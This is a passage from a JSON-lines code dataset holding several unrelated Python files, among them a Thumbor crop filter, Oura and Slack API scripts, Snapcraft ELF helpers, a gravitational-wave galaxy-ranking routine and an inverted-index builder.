frame['MinAspectRatio']) < target_aspect or\n 'MaxAspectRatio' in frame and float(\n frame['MaxAspectRatio']) > target_aspect):\n good_frames.append(frame)\n\n if len(good_frames) < 1:\n # do nothing\n return self._commit(crop, should_crop)\n elif len(good_frames) > 1:\n # rate frames by matching area\n sorted(good_frames, key=self._get_area_sort_key(target_aspect))\n crop = self.xmp.stArea_to_absolute(good_frames[0], self.engine.size)\n\n should_crop = True\n\n return self._commit(crop, should_crop)\n\n # Private methods\n\n def _commit(self, crop, should_crop):\n # Set the values and exit.\n self.context.request.crop = {\n 'left': int(round(crop[0])),\n 'top': int(round(crop[1])),\n 'right': int(round(crop[2])),\n 'bottom': int(round(crop[3]))\n }\n self.context.request.should_crop = should_crop\n return True\n\n def _get_pivot_point(self):\n # Get the pivot point from the XML\n pivot_point = self.xmp.get_absolute_area_for(b'Xmp.rmd.PivotPoint',\n self.engine.size)\n if not pivot_point:\n # Use the center of the safe area\n x0, y0, x1, y1 = self.xmp.get_absolute_area_for(\n b'Xmp.rmd.SafeArea', self.engine.size)\n try:\n pivot_point = Point(x0 + (x1 - x0) / 2.0, y0 + (y1 - y0) / 2.0)\n except TypeError:\n # Use the image center\n pivot_point = Point(self.engine.size[0] / 2.0, self.engine.size[1] / 2.0)\n\n return pivot_point\n\n def _process_crop_area(self, crop_area, context, target_width, target_height):\n for key in ['x', 'y', 'w', 'h']:\n if not key in crop_area:\n return (0, 0) + self.engine.size, False, False\n\n x0, y0, x1, y1 = crop = self.xmp.stArea_to_absolute(\n crop_area, self.engine.size)\n should_crop = True\n crop_area_aspect = float(x1-x0) / float(y1-y0)\n\n # If only one dimension was passed in the request, then the aspect\n # ratio has to be adjusted for the crop area.\n if context.request.width and not context.request.height:\n if context.request.width == 'orig':\n context.transformer.target_height = target_height = int(\n round(self.engine.size[0] / crop_area_aspect))\n else:\n context.transformer.target_height = target_height = int(\n round(float(context.request.width) / crop_area_aspect))\n elif context.request.height and not context.request.width:\n if context.request.height == 'orig':\n context.transformer.target_width = target_width = int(\n round(self.engine.size[1] * crop_area_aspect))\n else:\n context.transformer.target_width = target_width = int(\n round(float(context.request.height * crop_area_aspect)))\n elif not context.request.height and not context.request.width:\n context.transformer.target_width = target_width = x1 - x0\n context.transformer.target_height = target_height = y1 - y0\n\n if 'MinWidth' in crop_area:\n # Check if the desired crop is larger than the min width.\n # In this case, crop no further.\n if int(crop_area['MinWidth']) <= target_width:\n # Check if Cropping for layout purposes is allowed:\n if self.xmp.get_value_for(b'Xmp.rmd.AllowedDerivates/rmd:Crop') != 'all':\n context.request.fit_in = True\n return crop, should_crop, True, crop_area_aspect\n\n # Check if the new image size needs to be cropped further\n if target_height == int(round(float(target_width) / crop_area_aspect)):\n # Aspect ratios match\n return crop, should_crop, True, crop_area_aspect\n\n return crop, should_crop, False, crop_area_aspect\n\n def _process_safe_area(self, crop, should_crop, safe_area,\n target_width, target_height, pivot_point):\n target_aspect_ratio = float(target_width) / target_height\n for key in ['x', 'y', 'w', 'h', 'MaxWidth']:\n if key not in safe_area:\n logger.debug('Safe Area Node is not valid. Skipping.')\n return crop, should_crop, False, None\n\n safe_max_width = int(safe_area.get('MaxWidth')) if safe_area else None\n x0, y0, x1, y1 = safe_area_absolute = self.xmp.stArea_to_absolute(\n safe_area, self.engine.size)\n safe_width = x1 - x0\n safe_height = y1 - y0\n safe_aspect_ratio = float(safe_width) / float(safe_height)\n\n if target_width <= safe_max_width:\n # Very small target. Smaller or equal to the safety area.\n should_crop = True\n\n # If just the target width was passed, make it the safety area.\n if not self.context.request.height:\n self.context.transformer.target_height = target_width / safe_aspect_ratio\n return (safe_area_absolute, True, True, safe_area_absolute)\n elif not self.context.request.width:\n # Reduce the width, so the aspect matches the safety area.\n self.context.transformer.target_width = target_height * safe_aspect_ratio\n return (safe_area_absolute, True, True, safe_area_absolute)\n\n # if target height (dp) >= safe area height (dp), normalized to target width\n elif target_height >= (target_width / safe_aspect_ratio):\n # use the target aspect ratio and safety width\n source_height = crop.y1 - crop.y0\n crop_height = safe_width / target_aspect_ratio\n if crop_height < source_height:\n a = (pivot_point.y - crop.y0) * crop_height / source_height\n top = pivot_point.y - a\n bottom = top + crop_height\n\n # Check if the safe area is protected:\n if bottom < y1:\n top = y0\n bottom = top + crop_height\n elif top > y0:\n bottom = y1\n top = bottom - crop_height\n\n crop = x0, top, x1, bottom\n\n else:\n crop = x0, crop.y0, x1, crop.y1\n self.context.request.fit_in = True\n\n else:\n # Widen the crop area to use the full safety height.\n source_width = crop.x1 - crop.x0\n crop_width = safe_height * target_aspect_ratio\n # Pivot point relative to the crop area:\n if crop_width < source_width:\n a = (pivot_point.x - crop.x0) * crop_width / source_width\n left = pivot_point.x - a\n right = left + crop_width\n\n if right < x1:\n left = x0\n right = left + crop_width\n elif left > x0:\n right = x1\n left = right - crop_width\n\n crop = left, y0, right, y1\n else:\n crop = crop.x0, y0, crop.x1, y1\n self.context.request.fit_in = True\n\n return crop, should_crop, True, None\n\n return crop, should_crop, False, safe_area_absolute\n\n def _process_linear_interpolation(\n self, crop, crop_area, crop_area_aspect_ratio,\n safe_area, target_width, target_height, target_aspect,\n pivot_point, safe_area_absolute):\n logger.debug('2-dimensional crop with linear interpolation')\n # Calculate if cropping is needed\n crop_min_width = int(crop_area.get('MinWidth')) if crop_area else None\n safe_max_width = int(safe_area.get('MaxWidth')) if safe_area else None\n if not (crop_min_width and safe_max_width):\n return crop, False\n\n crop_min_height = crop_min_width / crop_area_aspect_ratio\n x0, y0, x1, y1 = crop\n\n if target_height > crop_min_height:\n crop_height = y1 - y0\n crop_width = crop_height * target_aspect\n else:\n crop_width = (float(x1 - x0) / crop_min_width) * target_width\n crop_height = crop_width / target_aspect\n\n x_ratio = float(pivot_point.x - x0) / (x1 - pivot_point.x)\n y_ratio = float(pivot_point.y - y0) / (y1 - pivot_point.y)\n # b = relative distance from the the pivot point to the right crop.\n # This is more stable than calculating the left crop.\n\n b = crop_width / (1.0 + x_ratio)\n right = pivot_point.x + b\n left = right - crop_width\n\n # b = relative distance from the the pivot point to the bottom crop.\n\n b = crop_height / (1.0 + y_ratio)\n bottom = pivot_point.y + b\n top = bottom - crop_height\n\n # Check if the safe area is hit\n if safe_area_absolute:\n # TODO: Check if this is even possible\n if safe_area_absolute.x0 < left:\n left = safe_area_absolute.x0\n right = left + crop_width\n elif safe_area_absolute.x1 > right:\n right = safe_area_absolute.x1\n left = right - crop_width\n if safe_area_absolute.y0 < top:\n top = safe_area_absolute.y0\n bottom = top + crop_height\n elif safe_area_absolute.y1 > bottom:\n bottom = safe_area_absolute.y1\n top = bottom - crop_height\n\n crop = left, top, right, bottom\n return crop, True\n\n def _get_area_sort_key(self, target_aspect):\n # find the best aspect ratio\n def area_sort_key(item):\n area = item.get('w', 0) / item.get('h', 1)\n return abs(area - target_aspect)\n\n return area_sort_key\n","repo_name":"sbaechler/thumbor-universalimages","sub_path":"universalimages/filters/rmd.py","file_name":"rmd.py","file_ext":"py","file_size_in_byte":15111,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"19919029770","text":"from os import getenv\nfrom datetime import datetime, timedelta\nfrom requests import Session\nfrom json import dumps\n\nprintjson = lambda x: print(dumps(x.json(), indent=4))\nhtml_path = \"../fastapi/templates/current.html\"\n\n\n\nbase_url = \"https://api.ouraring.com\"\ns = Session()\ns.headers = {\"Authorization\": f\"Bearer {getenv('TOKEN')}\"}\n\n\n# https://cloud.ouraring.com/v2/docs#tag/Daily-Sleep-Routes\n\nkeyword = \"daily_readiness\"\nkeyword = \"daily_sleep\"\nkeyword = \"daily_activity\"\nkeyword = \"sleep\"\n\nres = s.get(\n url = f\"{base_url}/v2/usercollection/{keyword}\",\n params={\n \"start_date\": (datetime.utcnow() - timedelta(days=7)).strftime(\"%Y-%m-%d\"),\n \"end_date\": (datetime.utcnow() - timedelta(days=0)).strftime(\"%Y-%m-%d\"),\n }\n \n)\nj = res.json()[\"data\"][0]\n\n\nhrv_list, hr_list = [], []\n_ = [hrv_list.extend(x[\"hrv\"][\"items\"]) for x in res.json()[\"data\"]]\n_ = [hr_list.extend(x[\"heart_rate\"][\"items\"]) for x in res.json()[\"data\"]]\n\nimport plotly.express as px\nimport pandas as pd\n\ndata = pd.concat([\n pd.DataFrame(data={\"value\": hrv_list, \"measurement\": \"HRV\"}),\n pd.DataFrame(data={\"value\": hr_list, \"measurement\": \"HR\"})\n])\n\nplt = px.line(data, facet_col=\"measurement\", color=\"measurement\",facet_col_wrap=2)\nplt.write_html(html_path)\n\n\n\nx = s.get(\n url = f\"{base_url}/v2/usercollection/heartrate\",\n params={\n \"start_datetime\": \"2023-05-01T00:00:00\",\n \"end_datetime\": \"2023-05-12T00:00:00\"\n }\n \n)\n\nlen(x.json()[\"data\"])\n\nprintjson(x)","repo_name":"yyyaaan/yOuraY","sub_path":"scripts/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72981568909","text":"'''\nThis program is created by Tanishq Agarwal(211B326)\nLab 2 Question 15\n'''\nnum = int(input(\"Enter a five digit number: \"))\nans = 0\ncounter = 0\nwhile (num > 0):\n x = num % 10\n num = num // 10\n if x == 9:\n x = 0\n else:\n x += 1\n ans = ans + (x * (10 ** counter))\n counter += 1\n\nprint(\"The answer is:\", ans)\n","repo_name":"047pegasus/SEM-3","sub_path":"AP LAB/LAB 2/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21492392025","text":"import functools\nimport os\nimport platform\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Iterable, List, Optional, Set\n\nfrom craft_cli import emit\nfrom elftools.common.exceptions import ELFError\n\nfrom . import ElfFile, errors\n\n\n@functools.lru_cache(maxsize=1)\ndef get_elf_files(root_path: Path) -> List[ElfFile]:\n \"\"\"Obtain a set of all ELF files in a subtree.\n\n :param root_path: The root of the subtree to list ELF files from.\n :return: A set of ELF files found in the given subtree.\n \"\"\"\n file_list: List[str] = []\n for root, _, files in os.walk(str(root_path)):\n for file_name in files:\n # Filter out object files\n if file_name.endswith(\".o\"):\n continue\n\n file_path = os.path.join(root, file_name)\n if not os.path.islink(file_path):\n file_list.append(file_path)\n\n return get_elf_files_from_list(root_path, file_list)\n\n\ndef get_elf_files_from_list(root: Path, file_list: Iterable[str]) -> List[ElfFile]:\n \"\"\"Return a list of ELF files from file_list prepended with root.\n\n :param str root: the root directory from where the file_list is generated.\n :param file_list: a list of file in root.\n :returns: a list of ElfFile objects.\n \"\"\"\n elf_files: Set[ElfFile] = set()\n\n for part_file in file_list:\n # Filter out object (*.o) files-- we only care about binaries.\n if part_file.endswith(\".o\"):\n continue\n\n # No need to crawl links-- the original should be here, too.\n path = Path(root, part_file)\n if os.path.islink(path):\n emit.debug(f\"Skipped link {path!r} while finding dependencies\")\n continue\n\n # Ignore if file does not have ELF header.\n if not ElfFile.is_elf(path):\n continue\n\n try:\n elf_file = ElfFile(path=path)\n except ELFError:\n # Ignore invalid ELF files.\n continue\n except errors.CorruptedElfFile as exception:\n # Log if the ELF file seems corrupted\n emit.message(str(exception))\n continue\n\n # If ELF has dynamic symbols, add it.\n if elf_file.needed:\n elf_files.add(elf_file)\n\n return sorted(elf_files, key=lambda x: x.path)\n\n\n@dataclass(frozen=True)\nclass _ArchConfig:\n arch_triplet: str\n dynamic_linker: str\n\n\n_ARCH_CONFIG = {\n \"aarch64\": _ArchConfig(\"aarch64-linux-gnu\", \"lib/ld-linux-aarch64.so.1\"),\n \"armv7l\": _ArchConfig(\"arm-linux-gnueabihf\", \"lib/ld-linux-armhf.so.3\"),\n \"ppc64le\": _ArchConfig(\"powerpc64le-linux-gnu\", \"lib64/ld64.so.2\"),\n \"riscv64\": _ArchConfig(\"riscv64-linux-gnu\", \"lib/ld-linux-riscv64-lp64d.so.1\"),\n \"s390x\": _ArchConfig(\"s390x-linux-gnu\", \"lib/ld64.so.1\"),\n \"x86_64\": _ArchConfig(\"x86_64-linux-gnu\", \"lib64/ld-linux-x86-64.so.2\"),\n \"i686\": _ArchConfig(\"i386-linux-gnu\", \"lib/ld-linux.so.2\"),\n}\n\n\ndef get_dynamic_linker(*, root_path: Path, snap_path: Path) -> str:\n \"\"\"Obtain the dynamic linker that would be seen at runtime.\n\n :param root_path: The root path of a snap payload tree.\n :param snap_path: Absolute path to the snap once installed.\n\n :return: The path to the dynamic linker to use.\n \"\"\"\n arch = platform.machine()\n arch_config = _ARCH_CONFIG.get(arch)\n if not arch_config:\n raise RuntimeError(f\"Dynamic linker not defined for arch {arch!r}\")\n\n linker_path = root_path / arch_config.dynamic_linker\n if not linker_path.exists():\n raise errors.DynamicLinkerNotFound(linker_path)\n\n return str(snap_path / arch_config.dynamic_linker)\n\n\ndef get_arch_triplet(arch: Optional[str] = None) -> str:\n \"\"\"Get the arch triplet string for an architecture.\n\n :param arch: Architecture to get the triplet of. If None, then get the arch triplet\n of the host.\n\n :returns: The arch triplet.\n \"\"\"\n if not arch:\n arch = platform.machine()\n\n arch_config = _ARCH_CONFIG.get(arch)\n if not arch_config:\n raise RuntimeError(f\"Arch triplet not defined for arch {arch!r}\")\n\n return arch_config.arch_triplet\n\n\ndef get_all_arch_triplets() -> List[str]:\n \"\"\"Get a list of all architecture triplets.\"\"\"\n return [architecture.arch_triplet for architecture in _ARCH_CONFIG.values()]\n","repo_name":"snapcore/snapcraft","sub_path":"snapcraft/elf/elf_utils.py","file_name":"elf_utils.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","stars":1113,"dataset":"github-code","pt":"82"} +{"seq_id":"72030670029","text":"# -*- coding: utf-8 -*-\n\nimport slack\n\nimport mylib\n\nconfig = mylib.get_config()\n# https://api.slack.com/apps OAuth & Permissions\nclient = slack.WebClient(config[\"slack\"][\"token\"])\n\nresponse = client.chat_postMessage(\n channel='#random',\n text=\"Hello world!\")\nprint(response)\n","repo_name":"fileszero/mfme","sub_path":"slacktest.py","file_name":"slacktest.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1771100879","text":"#!/usr/bin/env python\n\nimport healpy as hp \nimport numpy as np\nfrom astropy.io import fits\nfrom astropy.table import Table\nfrom configparser import ConfigParser\nfrom scipy.stats import norm\n#from scipy.special import gammaincinv\n#from scipy.special import gammaincc\nfrom ligo.skymap import distance\n\nfrom gw.models import GWFollowupGalaxy\nimport os\nfrom django.conf import settings\nimport logging\n\nlogger = logging.getLogger(__name__)\nBASE_DIR = settings.BASE_DIR\n\n\ndef generate_galaxy_list(eventlocalization, completeness=None, credzone=None):\n \"\"\"\n An adaptation of the galaxy ranking algorithm described in\n Arcavi et al. 2017 (doi:10.3847/2041-8213/aa910f)\n \n eventlocalization: an EventLocalization object\n \"\"\"\n\n # Parameters:\n config = ConfigParser(inline_comment_prefixes=';')\n config.read(os.path.join(BASE_DIR, 'gw/gw_config.ini'))\n \n catalog_path = config.get('GALAXIES', 'CATALOG_PATH') # Path to numpy file containing the galaxy catalog (faster than getting from the db)\n \n # Matching parameters:\n if not credzone:\n credzone = float(config.get('GALAXIES', 'CREDZONE')) # Localization probability to consider credible (e.g. 0.99)\n nsigmas_in_d = float(config.get('GALAXIES', 'NSIGMAS_IN_D')) # Sigmas to consider in distnace (e.g. 3)\n if not completeness:\n completeness = float(config.get('GALAXIES', 'COMPLETENESSP')) # Mass fraction completeness (e.g. 0.5)\n minGalaxies = int(config.get('GALAXIES', 'MINGALAXIES')) # Minimum number of galaxies to output (e.g. 100)\n \n minL = float(config.get('GALAXIES', 'MINL')) # Estimated brightest KN luminosity\n maxL = float(config.get('GALAXIES', 'MAXL')) # Estimated faintest KN luminosity\n sensitivity = float(config.get('GALAXIES', 'SENSITIVITY')) # Estimatest faintest app mag we can see\n ngalaxtoshow = int(config.get('GALAXIES', 'NGALAXIES')) # Number of galaxies to show\n \n mindistFactor = float(config.get('GALAXIES', 'MINDISTFACTOR')) #reflecting a small chance that the theory is comletely wrong and we can still see something\n \n ## Schecter Function parameters:\n #alpha = float(config.get('GALAXIES', 'ALPHA'))\n #MB_star = float(config.get('GALAXIES', 'MB_STAR'))\n \n try:\n ### Should look at differences between these methods\n map_data = Table.read(eventlocalization.skymap_moc_file_url)\n prob = np.asarray(map_data['PROBDENSITY'])\n distmu, distsigma, distnorm = distance.parameters_to_moments(map_data['DISTMU'], map_data['DISTSIGMA'])\n distmu = np.asarray(distmu)\n distsigma = np.asarray(distsigma)\n distnorm = np.asarray(distnorm)\n\n #prob, distmu, distsigma, distnorm = hp.read_map(eventlocalization.skymap_moc_file_url, field=[0,1,2,3], verbose=False)\n except Exception as e:\n logger.warning('Failed to read sky map for {}'.format(eventlocalization))\n return\n\n # Get the map parameters:\n npix = len(prob)\n nside = hp.npix2nside(npix)\n\n # Load the galaxy catalog.\n logger.info('Loading Galaxy Catalog')\n hdu = fits.open(catalog_path)\n galaxies = Table(hdu[1].data)\n hdu.close()\n ### If using luminosity, remove galaxies with no Lum_X, like so:q\n #galaxies = galaxies[~np.isnan(galaxies['Lum_W1'])]\n ### If using mass, make cuts on DistMpc and Mstar\n galaxies = galaxies[~np.isnan(galaxies['Mstar'])]\n galaxies = galaxies[np.where(galaxies['DistMpc']>0)] # Remove galaxies with distance < 0\n\n theta = 0.5 * np.pi - np.pi*(galaxies['dec'])/180\n phi = np.deg2rad(galaxies['ra'])\n d = np.array(galaxies['DistMpc'])\n # Convert galaxy coordinates to map pixels:\n logger.info('Converting Galaxy Coordinates to Map Pixels')\n ipix = hp.ang2pix(nside, theta, phi)\n\n maxprobcoord_tup = hp.pix2ang(nside, np.argmax(prob))\n maxprobcoord = [0, 0]\n maxprobcoord[0] = np.rad2deg(0.5*np.pi-maxprobcoord_tup[0])\n maxprobcoord[1] = np.rad2deg(maxprobcoord_tup[1])\n \n #Find the zone with probability <= credzone:\n logger.info('Finding zone with credible probability')\n probcutoff = 1\n probsum = 0\n\n sortedprob = np.sort(prob,kind=\"mergesort\")\n while probsum < credzone:\n probsum = probsum + sortedprob[-1]\n probcutoff = sortedprob[-1]\n sortedprob = sortedprob[:-1]\n\n # Calculate the probability for galaxies according to the localization map:\n logger.info('Calculating galaxy probabilities')\n p = prob[ipix]\n distp = (norm(distmu[ipix], distsigma[ipix]).pdf(d) * distnorm[ipix])\n\n # Cuttoffs: credzone of probability by angles and nsigmas by distance:\n inddistance = np.where(np.abs(d-distmu[ipix])=probcutoff)\n\n doMassCuttoff = True\n\n # Increase credzone to 99.995% if no galaxies found:\n # If no galaxies found in the credzone and within the right distance range\n if len(galaxies[np.intersect1d(indcredzone,inddistance)]) == 0:\n while probsum < 0.99995:\n if sortedprob.size == 0:\n break\n probsum = probsum + sortedprob[-1]\n probcutoff = sortedprob[-1]\n sortedprob = sortedprob[:-1]\n inddistance = np.where(np.abs(d - distmu[ipix]) < 5 * distsigma[ipix])\n indcredzone = np.where(p >= probcutoff)\n doMassCuttoff = False\n\n ipix = ipix[np.intersect1d(indcredzone, inddistance)]\n p = p[np.intersect1d(indcredzone, inddistance)]\n p = (p * (distp[np.intersect1d(indcredzone, inddistance)])) ##d**2?\n\n galaxies = galaxies[np.intersect1d(indcredzone, inddistance)]\n if len(galaxies) == 0:\n logger.warning(\"No galaxies found\")\n logger.warning(\"Peak is at [RA,DEC](deg) = {}\".format(maxprobcoord))\n return\n\n ### Normalize by mass:\n ### NOTE: Can also do this in using luminosity (commented out)\n\n mass = galaxies['Mstar']\n massNorm = mass / np.sum(mass)\n massnormalization = np.sum(mass)\n normalization = np.sum(p * massNorm)\n\n #luminosity = mag.L_nu_from_magAB(galaxies['Bmag'] - 5 * np.log10(galaxies['Dist'] * (10 ** 5)))\n #luminosityNorm = luminosity / np.sum(luminosity)\n #luminositynormalization = np.sum(luminosity)\n #normalization = np.sum(p * luminosityNorm)\n\n #taking 50% of mass (missingpiece is the area under the schecter function between l=inf and the brightest galaxy in the field.\n #if the brightest galaxy in the field is fainter than the schecter function cutoff- no cutoff is made.\n #while the number of galaxies in the field is smaller than minGalaxies- we allow for fainter galaxies, until we take all of them.\n\n ### NOTE: Can skip this block if using mass\n #missingpiece = gammaincc(alpha + 2, 10 ** (-(min(galaxies['Bmag']-5*np.log10(galaxies['Dist']*(10**5))) - MB_star) / 2.5)) ##no galaxies brighter than this in the field- so don't count that part of the Schechter function\n\n #while doMassCuttoff:\n # MB_max = MB_star + 2.5 * np.log10(gammaincinv(alpha + 2, completeness+missingpiece))\n\n # if (min(galaxies['Bmag']-5*np.log10(galaxies['Dist']*(10**5))) - MB_star)>0: #if the brightest galaxy in the field is fainter then cutoff brightness- don't cut by brightness\n # MB_max = 100\n\n # brightest = np.where(galaxies['Bmag']-5*np.log10(galaxies['Dist']*(10**5))=0.9: #tried hard enough. just take all of them\n # completeness = 1 # just to be consistent.\n # doMassCuttoff = False\n # else:\n # completeness = (completeness + (1. - completeness) / 2)\n # else: #got enough galaxies\n # galaxies = galaxies[brightest]\n # p = p[brightest]\n # luminosityNorm = luminosityNorm[brightest]\n # doMassCuttoff = False\n\n # Accounting for distance\n absolute_sensitivity = sensitivity - 5 * np.log10(galaxies['DistMpc'] * (10 ** 5))\n\n #absolute_sensitivity_lum = mag.f_nu_from_magAB(absolute_sensitivity)\n absolute_sensitivity_lum = 4e33 * 10**(0.4*(4.74-absolute_sensitivity)) # Check this?\n distanceFactor = np.zeros(len(galaxies))\n\n distanceFactor[:] = ((maxL - absolute_sensitivity_lum) / (maxL - minL))\n distanceFactor[mindistFactor>(maxL - absolute_sensitivity_lum) / (maxL - minL)] = mindistFactor\n distanceFactor[absolute_sensitivity_lummaxL] = mindistFactor\n\n # Sorting glaxies by probability\n ii = np.argsort(p*massNorm*distanceFactor,kind=\"mergesort\")[::-1]\n\n ####counting galaxies that constitute 50% of the probability(~0.5*0.98)\n summ = 0\n galaxies50per = 0\n sum_seen = 0\n enough = True\n while summ<0.5:\n if galaxies50per>= len(ii):\n enough = False\n break\n summ = summ + (p[ii[galaxies50per]]*massNorm[ii[galaxies50per]])/float(normalization)\n sum_seen = sum_seen + (p[ii[galaxies50per]]*massNorm[ii[galaxies50per]]*distanceFactor[ii[galaxies50per]])/float(normalization)\n galaxies50per = galaxies50per+1\n\n if len(ii) > ngalaxtoshow:\n n = ngalaxtoshow\n else:\n n = len(ii)\n\n ### Save the galaxies in the database\n for i in range(ii.shape[0])[:n]:\n ind = ii[i]\n newgalaxyrow = GWFollowupGalaxy(catalog='NEDLVSCatalog', \n catalog_objname=galaxies[ind]['objname'],\n ra=galaxies[ind]['ra'], \n dec=galaxies[ind]['dec'],\n dist=galaxies[ind]['DistMpc'], \n score=(p * massNorm / normalization)[ind],\n eventlocalization=eventlocalization\n )\n newgalaxyrow.save()\n \n logger.info('Finished creating ranked galaxy list for EventLocalization {}'.format(eventlocalization))\n","repo_name":"jfrostburke/snex2","sub_path":"gw/find_galaxies.py","file_name":"find_galaxies.py","file_ext":"py","file_size_in_byte":9929,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"32529147294","text":"from __future__ import annotations\nimport bidict\nimport typing\n\nfrom ..blockchain.network_type import OptionalNetworkType\nfrom .format import DTOFormat\nfrom .receipt_base import TypeMap, ReceiptBase\nfrom ... import util\n\n__all__ = ['Receipt']\n\n\n@util.inherit_doc\nclass Receipt(ReceiptBase):\n \"\"\"Abstract, non-embedded Receipt base class.\"\"\"\n\n __slots__ = ()\n # Overridable classvars.\n TYPE_MAP: typing.ClassVar[TypeMap] = bidict.bidict()\n\n DTO: typing.ClassVar[DTOFormat] = DTOFormat(\n names={\n 'type': 'type',\n 'version': 'version',\n },\n )\n\n # DTO\n\n @classmethod\n def validate_dto_shared(cls, data: dict) -> bool:\n required_keys = {\n 'version',\n 'type',\n }\n return cls.validate_dto_required(data, required_keys)\n\n def to_dto_shared(\n self,\n network_type: OptionalNetworkType\n ) -> dict:\n # Shared data and callbacks.\n data: dict = {}\n cb = lambda k, v: self.DTO.save(k, data, v)\n cb_get = lambda k: cb(k, getattr(self, k))\n\n # Save shared data.\n # Do not export `network_type`, already exported\n # with version.\n cb_get('version')\n cb_get('type')\n\n return data\n\n def load_dto_shared(\n self,\n data: dict,\n network_type: OptionalNetworkType,\n ) -> None:\n # Shared data and callbacks.\n cb = lambda k: self.DTO.load(k, data)\n cb_set = lambda k: self._set(k, cb(k))\n\n # Load shared data.\n cb_set('version')\n cb_set('type')\n","repo_name":"proximax-storage/python-xpx-chain-sdk","sub_path":"xpxchain/models/receipt/receipt.py","file_name":"receipt.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32167054384","text":"import os\nimport tqdm\nimport cv2\nimport numpy as np\n\n\ndef delete_similar_images(files):\n similar_frames = 0\n for i in tqdm.tqdm(range(len(files)-1)):\n im1 = files[i]\n im2 = files[i+1]\n\n image1 = cv2.imread(im1)\n image2 = cv2.imread(im2)\n\n diff = np.abs(image1.astype(np.float32) - image2.astype(np.float32))\n diff = (diff[:, :, 0] + diff[:, :, 1] + 10.0 * diff[:, :, 2]) / 3.0 # add more weight to red channel\n diff = np.mean(diff) / 255.\n\n # print(diff, im1, im2)\n if diff < 0.01:\n os.remove(im1)\n similar_frames += 1\n # print(\"deleting {} with score {}\".format(im1, diff))\n\n print(\"deleted {} similar frames\".format(similar_frames))\n\n\ndef delete_consecutive_images(files, n):\n files_chunks = [files[i:i+n] for i in range(0, len(files), n)]\n\n # iterate over files_chunks with a tqdm progress bar\n for files_chunk in tqdm.tqdm(files_chunks):\n files_to_remove = files_chunk[:n-1]\n for file in files_to_remove:\n os.remove(file)\n\n","repo_name":"Manuteaa/dbd_autoSkillCheck","sub_path":"dbd/utils/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19573179167","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport os\nimport json\nimport mult_thread\nimport manipulate\n\n\nclass IO:\n\n def __init__(self):\n self.dir = os.environ.get('DIRECTORY')\n self.temp = os.path.abspath(\n os.path.join(__file__, os.pardir)\n ) + '/temp/'\n self.run_id = 0\n\n def json_reader(self, path):\n with open(path) as f:\n return json.load(f)\n\n def json_writer(self, path, content):\n with open(path, 'w') as f:\n json.dump(content, f)\n\n def clear_temp(self):\n \"\"\"clear temp folder\"\"\"\n files = [f for f in os.listdir(self.temp)]\n [os.remove(self.temp + f) for f in files]\n\n def _get_docs(self):\n \"\"\"Get all docs under directory, as docId\n - Args:\n - Returns:\n docs: list of docs\n num_docs: number of documents\n \"\"\"\n docs = [self.dir + f for f in os.listdir(self.dir) if os.path.isfile(os.path.join(self.dir,\n f))]\n return (docs, len(docs))\n\n def _get_docs_with_path(self, path):\n \"\"\"Get all docs under directory, as docId\n - Args:\n path: document path.\n - Returns:\n docs: list of docs\n num_docs: number of documents\n \"\"\"\n docs = [path + f for f in os.listdir(path) if os.path.isfile(os.path.join(path,\n f))]\n return (docs, len(docs))\n\n def _read_manipulate(self, doc_name):\n \"\"\"Read a document, get all terms\n - Args:\n doc_name: str of document name\n - Returns:\n terms: {term1:doc_name, term2:doc_name...}\n \"\"\"\n with open(doc_name, 'r') as f:\n terms = manipulate.remove_punc(f.read())\n # to lower case, add source (doc.id) as value\n terms = manipulate.lower_dict(terms, doc_name.split('/')[-1])\n return terms\n\n def _make_runs(self, docs, num_docs):\n \"\"\"Make runs for memory saving\n - Args:\n docs: name of docs\n num_docs: number of documents\n - Returns:\n runs: list of list of docs\n e.g. [[doc1, doc2], [doc3, doc4]]\n \"\"\"\n num_runs = num_docs / 5 + 1\n runs = []\n for run in xrange(0, num_runs):\n # get current run of docs.\n current_run = docs[:5]\n # remove current run from docs.\n docs = docs[5:]\n # append to runs.\n runs.append(current_run)\n return runs\n\n def run_to_temp(self, run):\n \"\"\"Read documents in a run\n - Args:\n run: a list of document (10 at most)\n - Returns:\n terms: all terms within the current run\n \"\"\"\n terms = mult_thread.mlp(self._read_manipulate, run)\n terms = manipulate.flatten(terms)\n # merge list of dict, split and sort.\n terms = manipulate.alphabetically(terms)\n # write to temp folder.\n self.json_writer(self.temp + str(self.run_id) + '.json',\n terms)\n self.run_id += 1\n\n def _merge_run_pairwisely(self, run1_path, run2_path):\n \"\"\"Merge runs pairwisely, sort alphabetically\"\"\"\n terms_run1 = self.json_reader(run1_path)\n terms_run2 = self.json_reader(run2_path)\n terms_merge = manipulate.alphabetically(\n terms_run1 + terms_run2)\n # delete run1 and run 2\n os.remove(run1_path)\n os.remove(run2_path)\n # store merged run\n self.json_writer(self.temp + 'merged.json',\n terms_merge)\n\n def merge_runs(self):\n \"\"\"Merge sorted runs into big text\n - Args:\n docs: temp runs (sorted)\n - Returns:\n \"\"\"\n # change current dir to temp dir\n docs, num_docs = self._get_docs_with_path(self.temp)\n # merge sorted runs pair-wisely\n while num_docs >= 2:\n self._merge_run_pairwisely(docs[0], docs[1])\n docs, num_docs = self._get_docs_with_path(self.temp)\n","repo_name":"chachazhu/inverted-index.py","sub_path":"inverted_index/utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 